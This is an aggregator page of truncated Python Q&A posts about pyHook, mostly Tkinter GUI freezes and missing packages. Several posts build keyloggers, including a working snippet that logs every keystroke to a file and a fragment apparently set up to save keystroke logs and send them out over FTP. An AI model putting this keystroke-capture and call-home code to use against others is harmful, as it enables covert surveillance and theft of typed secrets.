pyhook

Tkinter text entry with pyHook hangs GUI window

心已入冬 提交于 2019-12-13 07:04:52
问题 I have a Tkinter GUI application that I need to enter text in. I cannot assume that the application will have focus, so I implemented pyHook, keylogger-style. When the GUI window does not have focus, text entry works just fine and the StringVar updates correctly. When the GUI window does have focus and I try to enter text, the whole thing crashes. i.e., if I click on the console window or anything else after launching the program, text entry works. If I try entering text immediately (the GUI

Python crash with pyHook.HookManager() on KeyDown [ctrl]+[c]

情到浓时终转凉″ 提交于 2019-12-13 03:06:25
问题 I am creating a python script to record the keys that I press across my system (keylogger) and call home with information on what my typing habits are. I am new to python and I am using this application to learn about it. I am using python-3.x and windows 8 Full source code can be found here https://github.com/funvill/QSMonitor/blob/master/monitor.py Using this snippet I am able to record all the keypress across my entire system. The problem is when I [ctrl]+[c] to copy something in another

pyHook + Tkinter = crash?

北战南征 提交于 2019-12-13 01:11:45
问题 Consider the following example: from Tkinter import * import pyHook class Main: def __init__(self): self.root = Tk() self.root.protocol("WM_DELETE_WINDOW", self.onClose) self.root.title("Timer - 000") self.timerView = Text(self.root, background="#000", foreground="#0C0", font=("Arial", 200), height=1, width=3) self.timerView.pack(fill=BOTH, expand=1) self.timer = 0 self.tick() self.createMouseHooks() self.root.mainloop() def onClose(self): self.root.destroy() def createMouseHooks(self): self

pyHook for Python 3.3

回眸只為那壹抹淺笑 提交于 2019-12-12 11:28:29
问题 I am coding a simple keylogger using Python. I hope to use pyHook to capture keyboard events.I couldn't find any packages of pyHook for python 3.3 which I have installed. Is there any other module for python 3.3 which provides similar functionalities? 回答1: A quick google turned up this site, which has unofficial installers for pyHook 1.5.1 (and a whole lot of other packages) for Python 3.3. I haven't tested it, but it seems worth trying. And there are a couple of other similar repositories on

No attribute 'HookManager'

拥有回忆 提交于 2019-12-12 03:35:38
问题 I am copying the key logger from this video: (https://www.youtube.com/watch?v=8BiOPBsXh0g) and running the code: import pyHook, sys, logging, pythoncom file_log = 'C:\Users\User\Google Drive\Python' def OnKeyboardEvent(event): logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(message)s') chr(event.Ascii) logging.log(10, chr(event.Ascii)) return True hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = OnKeyboardEvent hooks_manager.HookKeyboard() pythoncom

Python threading with pyhook

泄露秘密 提交于 2019-12-11 11:10:21
问题 import win32api import win32console import win32gui import pythoncom, pyHook , sys, time , os , threading import shutil ,socket ,datetime from ftplib import FTP from threading import Thread def fi(): while True: dr = socket.gethostname() if not os.path.exists(dr): os.makedirs(dr) else: pass now = datetime.datetime.now() p = now.strftime("%Y-%m-%d %H-%M") temp_path = dr + '/' + p fil = temp_path + '.txt' sys.stdout = open(fil,'w') statinfo = os.stat(fil) fils = statinfo.st_size if(fils > 20):

I want to stop pythoncom working

久未见 提交于 2019-12-10 19:49:55
问题 I was writing a code about keylogging by pyHook. The following codes are example: import pythoncom as pc, pyHook as ph def KeyboardHook(event): print chr(event.Ascii) return True hm = ph.HookManager() hm.KeyDown = KeyboardHook hm.HookKeyboard() pc.PumpMessages() I want to stop pythoncom's PumpMessages method for a while later (for example five seconds). But I couldn't find any answer to it. I use: Windows 7, Python2.7 Thanks for answer. 回答1: You will have to use pythoncom.PumpWaitingMessages

Freeze when using tkinter + pyhook. Two event loops and multithreading

Deadly 提交于 2019-12-10 10:19:12
问题 I am writing a tool in python 2.7 registering the amount of times the user pressed a keyboard or mouse button. The amount of clicks will be displayed in a small black box in the top left of the screen. The program registers clicks even when another application is the active one. It works fine except when I move the mouse over the box. The mouse then freezes for a few seconds after which the program works again. If I then move the mouse over the box a second time, the mouse freezes again, but

Tkinter bind does not call funtion

我的未来我决定 提交于 2019-12-08 14:14:19
问题 I am trying to change the text in a tkinter entry widget, to be the key combination entered by the user(example: ShiftL+ShiftR), the python program runs fine, but does not change entry, why and how can i fix it? My GUI: # Program by Fares Al Ghazy started 20/5/2017 # Python script to assign key combinations to bash commands, should run in the background at startup # Since this program is meant to release bash code, it is obviously non-system agnostic and only works linux systems that use BASH

Tkinter withdraw oddness with pyHook

两盒软妹~` 提交于 2019-12-08 07:10:43
问题 I have a Tkinter GUI application that I need to hide on a buttonpress. I cannot assume that the application will have focus, so I implemented pyHook, keylogger-style. However, whenever I call withdraw() from a function launched by pyHook, the window hangs and I have to force-close it. To test, I added a button inside the GUI itself to call exactly the same function, and it works just fine. What's going on? 'hiding' prints both times, so I know it is really hanging on the withdraw() call